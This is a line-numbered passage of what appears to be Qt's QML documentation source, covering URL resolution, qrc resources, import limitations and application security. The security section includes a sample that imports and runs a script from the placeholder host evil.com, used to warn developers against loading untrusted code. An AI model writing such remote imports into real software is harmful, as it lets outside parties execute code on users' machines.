58If the string assigned to a URL is already an absolute URL, then "resolving" does
59not change it and the URL is assigned directly.
60
61
62\section1 QRC Resources
63
64One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
65the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
66that is compiled into the executable:
67
68\code
69 QQuickView *view = new QQuickView;
70 view->setUrl(QUrl("qrc:/dial.qml"));
71\endcode
72
73The content itself can then use relative URLs, and so be transparently unaware that the content is
74compiled into the executable.
75
76
77\section1 Limitations
78
79The \c import statement is only network transparent if it has an "as" clause.
80
81More specifically:
82\list
83\li \c{import "dir"} only works on local file systems
84\li \c{import libraryUri} only works on local file systems
85\li \c{import "dir" as D} works network transparently
86\li \c{import libraryUrl as U} works network transparently
87\endlist
88
89
90\section1 Implications for Application Security
91
92The QML security model is that QML content is a chain of trusted content: the user
93installs QML content that they trust in the same way as they install native Qt applications,
94or programs written with runtimes such as Python and Perl. That trust is establish by any
95of a number of mechanisms, including the availability of package signing on some platforms.
96
97In order to preserve the trust of users, QML application developers should not load
98and execute arbitrary JavaScript or QML resources. For example, consider the QML code below:
99
100\qml
101import QtQuick 2.0
102import "http://evil.com/evil.js" as Evil
103
104Component {
105 onLoaded: Evil.doEvil()
106}
107\endqml
108
109This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
110will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.
111
112As with any application accessing other content beyond its control, a QML application should
113perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}